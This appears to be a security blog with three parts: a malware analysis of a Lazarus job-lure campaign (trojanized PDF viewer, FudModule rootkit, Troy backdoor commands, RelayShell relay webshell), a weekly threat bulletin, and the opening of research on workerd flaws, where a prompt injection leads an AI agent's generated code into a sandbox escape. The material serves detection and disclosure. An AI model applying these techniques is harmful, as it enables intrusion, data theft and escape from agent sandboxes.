During the intrusion, the threat actor exploited CVE-2026-68820, a zero-day vulnerability in the Microsoft AFD.sys driver, to deploy a new version of FudModule, Lazarus’ kernel-mode rootkit. Following Check Point Research responsible disclosure, Microsoft released a patch as part of their August Patch Tuesday updates.
Lazarus also used CVE-2025-49113 to exploit vulnerable Roundcube webmail servers. The compromised servers were infected with RelayShell, a PHP webshell that repurposes compromised web servers as relay nodes within the attacker’s command-and-control infrastructure.
At least in one case, a compromised organization in Western Europe was leveraged to conduct a spear-phishing campaign, allowing the attackers to abuse the organization’s reputation and trust to target additional victims.
Introduction
Since early 2026, Check Point Research has tracked a wave of the Operation Dream Job campaign. This wave primarily targeted the defense sector worldwide, with a particular emphasis on companies operating in the aerospace and aviation industries.
We observed the threat actor distributing modified PDF viewers designed to execute malicious payloads embedded within specially crafted PDF files, opened by the user. In this campaign, the threat actor expanded its delivery method by leveraging impersonation websites and search engine optimization (SEO) techniques to distribute the trojanized applications, increasing its credibility and helping it evade some phishing-based detections.
During the operation, the threat actor deployed a new version of the FudModule rootkit, exploiting a zero-day local privilege escalation (LPE) vulnerability in the Windows AFD.sys driver, to obtain SYSTEM privileges and disable EDR visibility. Following responsible disclosure, Microsoft assigned the vulnerability CVE-2026-68820 and released a patch on August 11, 2026, as part of their August Patch Tuesday updates.
The attackers’ command-and-control infrastructure consists of compromised Roundcube and WordPress servers hosting RelayShell, a new PHP webshell that repurposes compromised web servers as relay nodes.
In this blog, we analyze the latest Operation Dream Job campaign, walking through the complete attack chain and providing a technical analysis of the malware and the novel techniques employed throughout the operation, offering new insights into the group’s evolving modus operandi.
Infection Chain
The Operation Dream Job campaign begins with targeted spear-phishing lures centered on attractive job opportunities at well-known companies in the defense, aerospace, and aviation industries.
The exact method used to approach victims in the current campaign remains unclear. However, based on previously documented Dream Job campaigns, we assess that the threat actor likely approached targets through professional networking platforms such as LinkedIn, or directly through messaging applications. Posing as recruiters, the attackers present enticing job opportunities and ultimately direct victims to download malicious files.
During our analysis, we identified two distinct infection chains used to compromise targets. While the second chain appears to represent a more recent evolution of the campaign, both infection methods remain active in parallel.
Infection Chain 1: DLL Sideloading chain
In this infection chain, the victim is convinced to download an encrypted zip archive containing three files:
A legitimate, digitally signed PDF viewer executable.
A malicious DLL that is loaded through DLL sideloading.
An encrypted payload with a PDF extension.
Figure 1 – High-level overview of the DLL sideloading infection chain.
When the victim launches the executable, the malicious DLL libmupdf.dll is loaded via DLL sideloading. The DLL extracts a decoy PDF document from the encrypted payload and displays it to the user, while simultaneously extracting, decrypting, and executing an embedded payload directly in memory.
Figure 2 – PDF decoy impersonating Lockheed Martin job description.
The executed payload is MISTPEN, a lightweight in-memory downloader that uses Microsoft Graph API to access OneDrive in order to retrieve additional modules and run them in memory.
Reconnaissance: During the initial stages of the infection, the threat actor deploys several reconnaissance modules that collect system and process information, allowing the attacker to verify that the system is a suitable target before proceeding with the next stage of the attack.
Persistence: Once the target has been validated, MISTPEN receives an additional persistence module that installs the malware on disk and ensures that MISTPEN is automatically executed after system reboot.
Privilege Escalation: After persistence is established, MISTPEN loads an in-memory local privilege escalation (LPE) module designed to exploit the zero day vulnerability CVE-2026-68820 in the Microsoft AFD.sys driver. Successful exploitation allows the malware to execute FudModule, Lazarus’ kernel-mode rootkit, with SYSTEM privileges.
Backdoor Deployment: The final backdoor delivered by MISTPEN is the ForestTiger backdoor, a well-documented malware family widely attributed to the Lazarus threat group. Once deployed, it provides the attackers with long-term remote access to the compromised host.
Infection Chain 2: Trojanized PDF viewer
In July 2026, we observed a new campaign sharing many characteristics with previously documented Operation Dream Job, particularly the campaign described by ESET in 2025.
In this infection chain, victims receive fraudulent job offers impersonating Enveil, a Privacy Enhancing Technology company, and are instructed to download an encrypted ZIP archive containing two files:
SecurityPDF – a trojanized PDF viewer that has been modified to extract and execute an encrypted payload from specially crafted PDF documents.
A malicious PDF file – an encrypted payload disguised as a PDF document that is decrypted and executed when opened with the modified viewer.
Figure 3 – Crafted PDF opened by SecurityPDF.
SecurityPDF is a trojanized version of a legitimate open-source PDF viewer built on the MuPDF framework. The threat actor modified two code paths responsible for opening PDF documents: the File → Open dialog and the drag-and-drop file handling routine.
As a result, whenever a user opens a PDF document, the application checks whether the file contains the following marker This document is encrypted with sumatrapdf reader!!!!!!!!!!!!. If the marker is present, the application extracts the embedded payload, decrypts it using a single-byte XOR key (0x39), writes the resulting executable to %TEMP%\new.exe, and launches it as a child process.
The new.exe file is a small executable responsible for reflectively loading an embedded DLL containing the Troy backdoor, a previously undocumented backdoor first observed in this campaign.
In addition, we identified at least three websites impersonating Enveil that distribute the trojanized PDF viewer. Some of these websites rank highly in search engine results, with some even appearing as the top result for relevant search queries. It is important to note that the attacker only impersonates Enveil, and there are no indications that the company was targeted or compromised.
Figure 4 – Website appearing as the top search result for “Enveil SecurityPDF”.
Although we did not directly observe how the threat actor incorporated these websites into the phishing campaign, we assess that they were likely used to separate the delivery of the trojanized PDF viewer from the delivery of the crafted PDF document. In this scenario, victims would first receive the malicious PDF file through a phishing message and later be instructed to download the PDF viewer from what appears to be the vendor’s legitimate website. Separating these infection chain stages reduces the likelihood of detection.
MISTPEN
MISTPEN is the first in-memory module executed during the attack chain. First documented by Mandiant in 2024, it functions as a lightweight downloader that uses the Microsoft Graph API to communicate through attacker-controlled files hosted on OneDrive and retrieve additional payloads
All files exchanged through OneDrive are encrypted with AES, using separate keys for uploads and downloads. MISTPEN’s primary capability is the reflective loading of PE DLL files directly into memory, enabling the deployment of additional payloads without touching disk.
Before delivering the final backdoor, MISTPEN often deploys several in-memory modules designed to perform specific tasks. These modules do not implement their own network communication mechanisms; instead, they execute their designated tasks and return the resulting data to MISTPEN, which uploads it to the C2.
Below is a description of the modules we observed being loaded by MISTPEN during our analysis.
GetInfoPlugin – Host Reconnaissance Module
This module is a 64-bit Windows DLL internally named Release_GetInfoPlugin_x64.dll. Its primary purpose is to profile the compromised host and return the collected information as a single wide-character string.
The module collects basic system information, including the machine’s domain or workgroup membership (via NetGetJoinInformation), the computer name, the current user name, and the operating system version and build number. The collected data is formatted in the following template and returned to MISTPEN:
This module is a 64-bit Windows DLL internally named Release_PvPlugin_x64.dll. It serves as an extended version of the GetInfoPlugin module, collecting the same host reconnaissance data while adding detailed information about running processes.
For each running process, the module collects the Process PID, PPID, creation timestamp, associated domain and user, and process name. The collected information is formatted into a tabular process list and returned to MISTPEN.
OneScreenCapture – Screenshot Module
This module is a 64-bit Windows DLL internally named OneScreenCapture64.dll, it is responsible for capturing the current desktop (including all monitors) and returns the screenshot to its caller.
The module uses standard Windows USER32 and GDI APIs to capture the virtual desktop into a bitmap. The bitmap is then converted to a JPEG image and Base64-encoded into a single wide-character string before being returned to MISTPEN for exfiltration.
LPE loader
This module is a 64-bit Windows DLL that acts as a loader for a local privilege escalation (LPE) exploit module. It is loaded by an extended version of MISTPEN that provides it with an RPC buffer used for communication between the two components. Messages written to this buffer are forwarded by MISTPEN to the attacker through its existing Microsoft Graph API communication channel, while responses received from the C2 are relayed back to the module through the same interface.
Figure 5 – Writing and reading data through the shared RPC buffer.
In addition to MISTPEN’s AES-based transport encryption, the module encrypts all exchanged data using GOST-CBC with a randomly generated 16-byte session key. The encrypted data is then Base64-encoded, with the session key prepended to each packet.
The module operates in four stages:
Host Fingerprinting – The module gathers detailed information about the compromised host, including the operating system version, build number, installed security products, and other system characteristics.
Key Exchange – The module requests a set of four public keys from the C2 server.
Session Key Generation – Using the received public keys, the module generates new key material using the Kyber/ML-KEM algorithm and transmits the resulting encapsulated key material back to the C2.
LPE Deployment – Finally, the module requests the encrypted LPE payload, decrypts it using the negotiated key, and executes it directly in memory with export DestroyEnv. Throughout the process, status messages are sent back to the C2 to indicate whether each stage of the exploitation succeeded.
Figure 6 – Execution of LPE module with export DestroyEnv.
The downloaded LPE payload is FudModule, Lazarus’ kernel-mode exploit module. It exploits a local privilege escalation vulnerability to obtain SYSTEM privileges and injects a payload into a SYSTEM process. In the observed attack, the injected payload was another instance of MISTPEN, allowing the malware to continue operating with elevated privileges and without EDR visibility.
CVE-2026-68820: Yet another Zero-Day discovered by Lazarus
The file we investigated, Afd4Eop12_x64.dll, has a compiler timestamp of July 7, 2026, 22:07:44 UTC. Its strings immediately suggest a variant of FudModule, including references such as “enable_god_mode passed.” and a main function similar to previous Fud Modules. FudModule is a Lazarus privilege escalation tool, reported and being used since around 2021.
Figure 7 – Exploitation and post-exploitation function calls of FudModule, similar to the 2024 variant.
The module targets afd.sys, the Windows Ancillary Function Driver, a part of the Windows kernel that is in charge of managing and handling sockets in Windows. In 2024, FudModule was reported to use another zero-day, CVE-2024-38193, a use-after-free vulnerability in the same afd.sys driver.
At first sight, the vulnerability looked similar to CVE-2025-60719, which is also a use-after-free vulnerability in the AFD.sys driver fixed in November 2025 and not linked to any particular threat actor. In the sample itself, we observed an explicit minimum-version check for Windows 11build 26100 (24H2), with explicit support also for build 26200 (25H2). However, testing on the latest fully patched Windows 11 system confirmed that the exploit targets a distinct, previously undocumented vulnerability, actively being used in the wild as a part of Operation ‘Dream Job’ since at least early July 2026.
We will not be disclosing full technical details of the vulnerability in this article, as it was patched on the August 11 Patch Tuesday fix. At a high level, the exploit takes advantage of how afd.sys handles a socket is created when it is accessed concurrently by several threads at once.
The driver maintains a small piece of information about the state associated with each socket. Under specific concurrent conditions, two of its own code paths can operate on this state at the same simultaneously, without synchronization, creating a race condition If triggered at the right moment, one code path can access memory after it has already been released by another, resulting in a use-after-free vulnerability.
From there, the module does what these modules do – it leverages this memory corruption to obtain a kernel read/write primitive, which is subsequently used to achieve local privilege escalation to SYSTEM.
We disclosed the issue to Microsoft, and Microsoft issued a fix quickly.
Disclosure timeline
Jul 28, 2026: Issue reported to the Microsoft Security Response Center (MSRC).
Jul 31, 2026: Microsoft confirmed the bug
Aug 5, 2026: Microsoft assigned CVE-2026-68820 to the issue.
Aug 11, 2026: Fixed on Patch Tuesday.
FudModule v3.1
Except for a novel, completely different exploit chain, this FudModule’s post-exploitation behavior is quite similar to FudModule v3, reported by Gen Digital back in 2024.
Shared with v3
The entire telemetry teardown suite: process, thread, and image notify callbacks; object and registry callbacks; minifilter removal by altitude band; and the termination of the NT Kernel Logger.
Crash-dump suppression, executed before everything else.
The WFP stage, which is activated when Kaspersky is present and Symantec is absent.
The hardcoded ETW provider kill-list: its 94 GUIDs match the first 94 entries of Gen’s published 95-GUID list, in identical order.
The driver selection engine, with the same universal preserve list and per-class keep and kill rules.
Privileged-handle forgery and the same two-hop spawn through services.exe into a SYSTEM msiexec.exe process.
Logging vocabulary, surviving essentially string-for-string, including: GetGodMode failed, GetSystemHandle passed., CreateRemoteProcess passed., RemoteDllExecute passed., and the ClearVaccine* family.
Functionality removed from v3
The dedicated Microsoft Defender stage used to disable monitoring of MsMpEng.exe. Only the orphaned string SuspendDefender passed. remains, and is no longer referenced by executable code, while Gen’s FudModule v3 YARA rule contains the active-stage variant SuspendDefender skipped.
The PPL stripping functionality targeting AhnLab’s asdsvc.exe.
Microsoft Defender is still blinded here, but only through the generic security-product suppression engine, like any other vendor, rather than through a dedicated Defender-specific stage.
New functionality since v3
A Smart App Control tampering functionality not documented in publicly analyzed FudModule versions through v3. Within the SYSTEM-level msiexec.exe child process, its remote stub sets VerifiedAndReputablePolicyState to zero and invokes NtSetSystemInformation class 0xA4 with option 0x10000000, triggering an in-place reload of the code integrity policy.
Targeting
As mentioned before, this version only targets newer Windows builds 26100/26200, unlike the previous version that also targeted older ones.
Troy Backdoor
The Troy backdoor is a newly identified modular remote access trojan in Lazarus’ arsenal. Delivered as a 64-bit DLL, it supports 17 operator commands, providing a broad range of remote access and post-exploitation capabilities.
The name Troy is derived from a PDB path embedded in the sample: E:\HK\Tool_Module\Troy_Handle\1Troy_Create_Dll_Tool\x64\Release\Test_Dll.pdb. Notably, the term Troy has also appeared in PDB paths associated with previously documented Lazarus samples. For example, an ESET report published last year documented a sample containing a PDB path E:\Work\Troy\안정화\...
The Troy backdoor supports three Command and Control (C2) servers, each configured with a URL and port. At startup, the implant iterates through the configured servers in order, parsing each URL into its host and path components, establishing an HTTP connection, and issuing a connection request. It validates the response against the string CONNECTED and uses the first server that responds successfully.
The initial connection is followed by a challenge-response handshake used to authorize the implant against the server. Once authenticated, Troy collects host information and registers the victim by sending a client identifier and a system profile containing the user profile directory, account name, Windows version, local IPv4 address, and current working directory.
Following registration, Troy enters its command-processing loop. Tasks received from the C2 server are Base64-encoded; the implant decodes them and identifies commands using plaintext prefix matching. Command results are returned through the send channel in a compact JSON envelope: { "to":"<channel>", "msg":"<base64>" }. Responses that exceed the maximum message size are divided into numbered chunks and reassembled on the C2 side.
The Troy backdoor provides a notably broad feature set for a single-DLL implant, and a cohesive design. Its seventeen supported commands span the capabilities required for each stage of post-compromise operations, from initial reconnaissance and file operations, to command execution and in-memory code delivery, while following a consistent tasking and result-framing model throughout.
Figure 8 – Troy’s reflective DLL injection flow, showing remote RWX allocation, loader and payload writes, and execution through RtlCreateUserThread.
Troy Backdoor Supported C2 Commands
Command
Capability
What it does
WAIT
Keepalive
Server-side no-op that keeps the session alive and feeds the idle back-off counter.
DRIVES
Drive enumeration
Reports every mounted volume letter present on the host.
LIST|<path>
Directory listing
Enumerates a directory with names, sizes and timestamps, sending the listing length first and the listing itself second.
OPEN|<exe> [args]
Process creation
Launches an executable with arguments in a hidden window with no console.
DELETE|<path>
File and folder deletion
Removes a single file, or an entire directory tree through a silent shell file operation.
ZIPDOWNLOAD|<src>|<dst>
Archive and exfiltrate
Compresses a path with PowerShell Compress-Archive into a temporary archive, uploads it, then removes the archive.
DOWNLOAD|<victim-source>|<client-destination>
File exfiltration
Streams a file from the victim to the operator in chunks.
UPLOAD|<client-source>|<victim-destination>
File drop
Writes an operator-supplied file to disk, appending the filename when the destination is a directory.
CMD|<commandline>
Interactive shell
Runs a command and captures its output, tracking cd /d so the working directory persists between commands, with a 10 second execution watchdog.
mem <dllpath> <pid>
In-memory DLL injection
Maps a DLL into a remote process using an embedded reflective loader, matching architecture before injecting.
pk <pid>
Process termination
Terminates a process by identifier and reports the outcome.
sleep <N>
One-shot delay
Pauses the implant for N minutes without changing the stored interval.
DEFAULTSLEEP
Configured delay
Acknowledges, then pauses for the currently configured beacon interval.
GET_CONFIG
Configuration read
Returns the stored configuration as eight fields covering the client ID, the sleep interval, and the three server and port pairs. The stored values may differ from the connection actually in use.
SET_CONFIG|
Configuration update
Writes eight replacement fields into stored configuration state. Only the idle interval takes effect at runtime, because the connection loop does not read the stored servers and the port remains hardcoded to 80.
pvd
Process listing with command lines
Enumerates processes with session, owner and start time, enriched with full command lines retrieved over WMI.
pv
Process listing
The same enumeration without the command line column.
Compromised Infrastructure Used as ForestTiger C2
As previously reported, ForestTiger’s C2 infrastructure has historically relied primarily on compromised servers mainly running WordPress and SharePoint. In more recent campaigns, the threat actor appears to have shifted toward using compromised Roundcube webmail servers as C2 infrastructure.
The majority of the Roundcube servers we analyzed were running versions vulnerable to CVE-2025-49113, a critical PHP Object Deserialization vulnerability that can lead to remote code execution (RCE). Exploitation of this vulnerability requires authentication with valid Roundcube credentials. During our investigation, we identified several credential leaks that are available in the Darkweb, and contain usernames and passwords associated with accounts on the compromised webmail servers. We assess that the threat actor likely leveraged these credentials to authenticate to the affected Roundcube instances before exploiting CVE-2025-49113 to deploy RelayShell web shells, which subsequently serve as a C2 relay mechanism.
In addition, we observed the threat actor compromise PrestaShop websites and deploy the same RelayShell web shell.
RelayShell
Following the post-exploitation of a web server, the threat actor deployed a previously undocumented PHP web shell that we named RelayShell. Unlike a traditional web shell that provides direct command execution, RelayShell primarily acts as a communication relay between the threat actor and an infected endpoint.
RelayShell operates in two distinct modes, selected by the password supplied in the HTTP POST request. For clarity, we refer to these as Victim mode and Operator mode.
Victim Mode
When accessed using the victim password, RelayShell creates a new PHP session that is subsequently used for communication with the infected endpoint.
The webshell then decrypts a hidden configuration stored in an external file using a custom substitution cipher. The configuration contains two values:
A backbone URL
A unique identifier (PID) assigned to the compromised server
RelayShell then immediately sends an HTTP POST request to the configured backbone URL using the unique identifier and authentication password.
Figure 9 – WebShell contacting the backbone compromised server on new session creation.
Based on our analysis, the backbone URL appears to point to another RelayShell instance acting as an upstream relay or notification server. This request signals that a new victim session has been established, allowing the operator to subsequently connect using the second password.
Operator Mode
When accessed using the operator password, RelayShell enters operator mode, providing a set of commands for interacting with the compromised server. These commands support session management, connectivity checks, file upload and deletion, and retrieval of activity logs.
Command Type
Description
Session auth / selection
Scans existing .ses files, picks the latest session, and returns its data.
Check & cleanup
Updates configuration, deletes old session/log/temp files, and checks connectivity to the backbone URL.
Download log
Sends back the encoded log file containing activity records.
File upload
Writes an arbitrary file to disk, using Base64‑encoded filename and content.
Self‑delete / file removal
Self-delete Deletes a specified file (provided as Base64‑encoded path).
File-Based Communication Channel
After both the victim and operator sessions are established, RelayShell provides two commands, send and receive, which implement a lightweight file-based communication channel using temporary files stored on the compromised server.
Messages are exchanged through files following the naming convention <session_id><object>.log where object identifies the side of the communication channel: 1 for the victim and 2 for the operator.
When sending data, RelayShell writes the supplied content to the session file corresponding to the sender. When receiving data, RelayShell reads and returns the contents of the file corresponding to the opposite side, creating a bidirectional communication between the victim and the operator.
Figure 10 – Obfuscated command switch for requesting and sending data.
This mechanism effectively turns the compromised web server into a relay node. The victim-side implant establishes the session and notifies the backbone server that is monitored by the threat actor , after which the actor connects to the RelayShell instance and exchanges commands and responses through the file-based messaging channel.
During our investigation, we observed the threat actor accessing RelayShell through shared VPN services, including ExpressVPN, further obscuring the origin of their infrastructure.
We also identified 17 unique identifiers, suggesting that at least 17 compromised servers were likely used as relay nodes during the campaign. However, we were unable to identify all of the affected servers.
Victimology
This new Operation Dream Job campaign focused heavily on the defense sector, particularly organizations involved in military technologies such as surveillance sensors, drones, and robotics. The campaign had a global reach, with activity extending into South America, including Brazil, and successful targeting observed in Western Europe, including France and Germany.
During the campaign, a compromised organization headquartered in France was later leveraged by the threat actor to conduct spear-phishing attacks against targets worldwide, likely to increase the perceived campaign’s authenticity and credibility.
Another notable target was India, which has a substantial and rapidly growing defense and aerospace industry, with expanding domestic production and technology exports.
The latest Operation Dream Job campaign demonstrates that Lazarus continues to evolve both its malware capabilities and operational tradecraft. Beyond deploying a new version of FudModule that exploits the CVE-2026-68820 zero-day vulnerability, the threat actor also refined its initial access techniques by combining targeted spear-phishing with impersonation websites and search engine optimization (SEO) to distribute trojanized software.
The threat actor’s decision to rely on compromised Roundcube instances and content management system (CMS) servers for C2 reflects an operational approach well suited to highly monitored defense-sector environments, where network activity may be closely inspected by organizational security teams as well as government and national cybersecurity authorities. By abusing legitimate web infrastructure, the threat actor can better blend malicious communications within normal network traffic.
Our findings highlight Lazarus’s continued evolution toward stealthier and more resilient operations, combining new delivery techniques, modular malware, zero-day exploitation, and compromised web infrastructure. We believe the technical details presented in this research will help defenders identify, detect, and disrupt future Operation Dream Job campaigns.
For the latest discoveries in cyber research for the week of 10th August, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
North Carolina Ports, the US authority operating the ports of Wilmington, Morehead City and others, has suffered a cyberattack that forced some operations onto manual processes. The authority claims it has contained the intrusion, but degraded systems caused delays while affected services were restored.
Ryde, an electric scooter operator in Scandinavian countries, has disclosed a data breach affecting all 4.5 million customer accounts across Norway, Sweden, Finland, and Germany. Attackers copied phone numbers, email addresses, birth dates, partial payment card numbers, and payment histories. Full card numbers and ride histories were unaffected.
Canadian hardware wallet maker Coinkite has disclosed a theft campaign exploiting a Coldcard firmware vulnerability, with at least 1,367 bitcoin worth about $88.6 million stolen from thousands of addresses. The company halted affected shipments, destroyed vulnerable inventory, and released patched firmware after confirming exploitation against customer wallets.
Beacon, a UK provider of customer relationship management software for charities, has disclosed a data breach after attackers compromised an access key. The company notified around 1,500 nonprofit customers that database information, donation records, and stored attachments may have been downloaded. Payment and bank details were not affected.
AI THREATS
Check Point Research has demonstrated that Cloudflare Code Mode, which allows AI agents to write TypeScript against tools, inherited five vulnerabilities from the workerd runtime. The flaws could enable sandbox escape and cross-tenant data exposure. Cloudflare rated two issues Critical and fixed its managed Workers environment.
Researchers have disclosed vulnerabilities in Google Gemini CLI and Anthropic Claude Code that could expose automation environments to code execution and API key theft. CVE-2026-12537, rated CVSS 10.0, affected Gemini CLI workflows, while CVE-2026-54316 affected Claude Code. Both vendors released patched versions.
Researchers have detailed AI-enabled identity fraud kits that automate know-your-customer bypasses across banks, fintech companies, and cryptocurrency exchanges. Tools such as ProKYC can generate identity documents, selfie-with-ID images, spoofed location data, and synthetic video used against document, selfie, and liveness checks during remote onboarding.
VULNERABILITIES AND PATCHES
Cisco has released fixes for multiple critical vulnerabilities in Catalyst SD-WAN and IOS XE software disclosed on August 5. The highest-severity issues carry CVSS scores up to 9.9 and can enable privilege escalation, code execution, or system compromise. Cisco also addressed additional high and medium-severity flaws across network management products.
WordPress has released version 7.0.3 to address CVE-2026-64638, a high-severity Core vulnerability known as XSS2Shell. The flaw can turn a failed login into pre-authentication cross-site scripting and, under specific conditions, remote code execution. Fixes were also backported for supported WordPress branches dating to version 4.7.
TP-Link has addressed 15 vulnerabilities in its Omada provisioning ecosystem affecting controllers, network devices, mobile applications, and VIGI cameras. The flaws include device impersonation, credential exposure, and remote code execution risks during provisioning. 11 flaws received CVE identifiers, and patched firmware has been released for affected products.
A vendor-installed backdoor has been identified across at least 20 Zbtlink router models sold under brands including Wiflyer and ZBT. The remote-management component contacts hardcoded servers and can accept unauthenticated commands with root privileges. Researchers reproduced the behavior by impersonating the vendor server and obtaining a root shell.
THREAT INTELLIGENCE REPORTS
Researchers have identified the Shai-Hulud CHAINDROP supply-chain campaign, which backdoored more than 400 npm packages after attackers compromised the maintainer of the widely used keyv library. The malware executes through a preinstall hook, steals developer tokens, and republishes modified packages, affecting an ecosystem with roughly 1.3 billion monthly downloads.
Researchers have uncovered a campaign targeting large US financial firms in which callers impersonate coworkers or IT staff to capture passwords and multi-factor authentication codes through spoofed websites. The actors, tracked as UNC6671, then threaten victims with data leaks and have issued ransom demands ranging from $750,000 to $3 million.
Researchers have revealed a macOS ClickFix campaign using more than 250 look-alike domains to distribute MacSync and Atomic Stealer malware. The operation evolved to fingerprint visitors before displaying malicious instructions, allowing attackers to target genuine macOS users while concealing the campaign from automated security scanners and analysis systems.
Researchers have documented a campaign that uploaded nearly 800 malicious npm packages delivering cross-platform RAT and infostealer malware. The packages instructed developers to import them, activating the WEL1DROPPER downloader. It retrieved payloads through Cloudflare Workers or DNS TXT records, established persistence, and deployed additional malicious tools.
Check Point Research analyzed Cloudflare Code Mode, a technique that changes how AI agents use MCP by turning tools into a TypeScript API the model can write code against.
The research uncovered five vulnerabilities in workerd, the open-source runtime behind Code Mode and Cloudflare Workers. Two were rated Critical by Cloudflare.
The blast radius is broad: by Cloudflare’s own numbers, Workers is built by millions of developers,[1] serves millions of requests per second,[2] and carries more than 10% of all traffic on Cloudflare’s network.[3]
Because workerd underpins both Code Mode sandboxes and Workers tenant isolation, the findings create sandbox-escape and cross-tenant exposure risk.
Cloudflare’s managed Workers environment has been fixed in production. Self-hosted workerd / Code Mode deployments should update to v1.20260619.1.
Check Point Research released proof-of-concept code as part of its Black Hat USA 2026 presentation.
The short version
We set out to break Cloudflare Code Mode, and ended up breaking Cloudflare Workers too. We did both by targeting workerd, the runtime beneath both: an in-process sandbox that relies entirely on V8 to isolate untrusted code.
We found five memory-corruption bugs in workerd’s native C++ (the “glue” between JavaScript and the runtime), and turned them into two end-to-end attacks:
Cross-tenant heap swipe. An out-of-bounds read in URLPattern lets one Worker reach across the shared process heap and swipe another tenant’s secrets.
Code Mode sandbox escape. Starting from a prompt injection, a use-after-free in node:zlib breaks out of the sandbox and runs native code on the host.
Part I – Understanding the target
1. Where this started: Code Mode
Code Mode is Cloudflare’s take on LLM tool use. Instead of a model emitting structured tool calls one at a time, Code Mode exposes the available tools as a typed TypeScript API and lets the model write code that calls them: loops, conditionals, data shuffling and all.
In the traditional MCP / tool-calling loop, the model emits one {tool, args} call, the agent runs it, feeds the result back. The model then emits the next call. Every step is a fresh model invocation, and usually a network round-trip. Code Mode collapses that: the model writes one program that orchestrates many tool calls itself (looping, branching, and combining intermediate results locally) and only the final output returns to the model.
Cloudflare’s argument is that LLMs, trained on enormous amounts of real-world code, are simply better at writing a program against a typed API than at emitting long chains of synthetic tool calls. [4]
Figure 1 – Tool calling vs. Code Mode
That code has to run somewhere, and that “somewhere” is workerd, the runtime behind Cloudflare Workers.
2. The workerd origin story
To understand workerd, start with the product it was built for: Cloudflare Workers. Workers is Cloudflare’s serverless platform: you upload a piece of code and Cloudflare runs it at the edge, in data centers close to the user, on demand for every request. There’s no server to manage and, ideally, no cold machine to wait for.
That model creates a hard isolation problem. Cloudflare runs code from a huge number of different customers, and to keep latency and cost down it packs many of them onto the same machines, and, as we’ll see, into the same process. The classic answer (a container or VM per tenant) is far too heavy for this: each one adds tens to hundreds of milliseconds of cold start and a real memory footprint, which is exactly what an edge platform serving oceans of short requests cannot afford.
Cloudflare’s answer is to isolate at the language-runtime level rather than the OS level, using V8 isolates, the same primitive Chrome uses to separate browser tabs. An isolate is a lightweight, independent JavaScript context. Many can live inside a single process, each starts in single-digit milliseconds, and the isolate is the security boundary between tenants.
The trade-off is that this boundary is a software boundary inside one shared address space, not a hardware or kernel one. Untrusted code runs in-process, and the whole model rests on the isolate holding.
Figure 2 – Many tenants, one process
workerd is the runtime that implements all of this. It was closed-source for years: Workers launched in 2017, but Cloudflare only released workerd as open source in September 2022.[5] It’s exactly what Code Mode runs the model’s generated code on.
3. Why workerd was the obvious sandbox for Code Mode
Code Mode has to run untrusted, model-written code, and it needs that code to reach the declared MCP tools and nothing else. workerd answers both at once.
Running untrusted tenant code in-process is its day job, and it lets Code Mode lock the rest down: no filesystem, no arbitrary network (fetch() and connect() simply throw) with the tools exposed only through bindings.[6] Cloudflare didn’t build a new sandbox for Code Mode. It reused the one it already trusts to isolate millions of Workers.
4. Why we targeted workerd
When you set out to break Code Mode, the obvious place to look is the seam between Code Mode and workerd. This is the integration layer: how tools become bindings, how the configuration is wired, how the two interact. Going after the runtime itself is the unusual move. It’s a bit like setting out to break an AI coding assistant and then going to audit Docker’s own source code, the container runtime itself, not the agent on top of it.
Five reasons made us decide to do it anyway:
An in-process sandbox is a bold, inherently risky bet. Isolating untrusted code without an OS-level boundary means no VM, no container, just a V8 isolate inside a shared process. That puts the entire security model on a single software boundary. That kind of ambitious bet is exactly what’s worth stress-testing.
workerd had almost no public scrutiny.[7] Despite sitting directly on that boundary, there was barely any prior public vulnerability research on workerd, in stark contrast to V8, which is picked apart continuously.
The attack surface is huge. And it’s not just V8. workerd has its own implementation that exposes many Web/Node APIs, each written in C++ and reachable from untrusted JavaScript.
The blast radius reaches Cloudflare Workers. workerd isn’t only Code Mode’s runtime. It’s the engine behind Cloudflare Workers, one of the most widely deployed serverless platforms on the internet. A bug here would never have stayed contained to an experimental agent feature.
AI security has a low-level side too. Beyond the high-level frameworks, the internal, low-level layers that agents rely on to interact with the world deserve research as well.
5. The cage, memory protection keys, and Node
V8 is one of the most heavily attacked pieces of software around, with a long history of memory bugs, so Cloudflare assumes it can break and layers defenses so a compromise of one isolate doesn’t reach the host or other tenants.
Defenses
1. The V8 sandbox (“the cage”). The cage confines JS-reachable objects so a corrupted one can’t forge pointers outside it. Assume arbitrary read/write inside the cage, and stop it reaching memory outside.
2. Memory protection keys. As a further layer against V8 vulnerabilities, production also tags isolate-group memory with hardware memory protection keys (MPK / pkeys), so even with arbitrary read/write inside one isolate’s V8, an attacker still can’t read another tenant’s pages.
3. The L2 process sandbox. Underneath both sits a second-layer (“L2”) process sandbox, so even native code execution inside the process is meant to be contained. Per Cloudflare, the V8 Workers run in a strict layer-2 sandbox (Linux namespaces plus seccomp) that blocks all filesystem and direct network access,[8] limiting what a compromised process can reach on the host.
Attack Surface
Node. Real-world JavaScript assumes Node.js exists, and code constantly reaches for node:* modules, so workerd reimplements a large slice of the Node API in C++. This is exposed to JS through JSG, its “JavaScript Glue” layer. Node was never designed for a threat model where the attacker writes the JavaScript, so this drops a great deal of extra native code onto the boundary, much of it workerd’s own, and enabled by default (a Worker can just require('node:crypto')).
It also means more native objects allocated on the tcmallocheap, which is secured by neither the cage nor the memory protection keys.
6. Bottom Line
Putting all of the above together, we did exactly that. We targeted workerd’s JSG code, the “JavaScript Glue” that hands native C++ to untrusted JavaScript, whether it is a Node reimplementation or one of workerd’s own API implementations. It is the code that had a fraction of V8’s scrutiny (§4), and the native objects it allocates sit on the tcmalloc heap, memory that lives outside both the cage and the memory-protection keys (§5). So a bug there is not boxed in the way a V8 bug is. It is exactly the surface those mitigations do not cover.
By going after that code we found five vulnerabilities, all of them in workerd’s own native code, each covered in the Vulnerabilities section (Part II).
Building on those bugs, we developed two end-to-end exploits, covered in the Exploits section (Part III).
Code Mode sandbox escape. Starting from a single prompt injection, the model is steered into writing attacker-controlled TypeScript. That TypeScript contains a memory-corruption which leads to native code execution, breaking out of Code Mode and running on the host, fully outside the V8 isolate.
Cross-tenant secret leak. Starting from a malicious Worker you deploy into Cloudflare’s shared pool, we show that one tenant can read another tenant’s memory and leak its secrets straight out of the shared process. This is the production scenario, and it holds up there because the whole exploit runs from the tcmalloc heap, the memory the cage and MPK do not cover.
But to be explicit, we did not run the exploit on Cloudflare production ourselves. Both exploits were verified on the self-hosted version of workerd. The cross-tenant idea should work the same way on production, since it runs entirely from the tcmalloc heap that the mitigations do not cover, but we did not test it there. On a shared host, a memory-corruption exploit that crashes the process could take other tenants down with it, and we were not willing to risk that.
Part II – The vulnerabilities
7. URLPattern out-of-bounds read
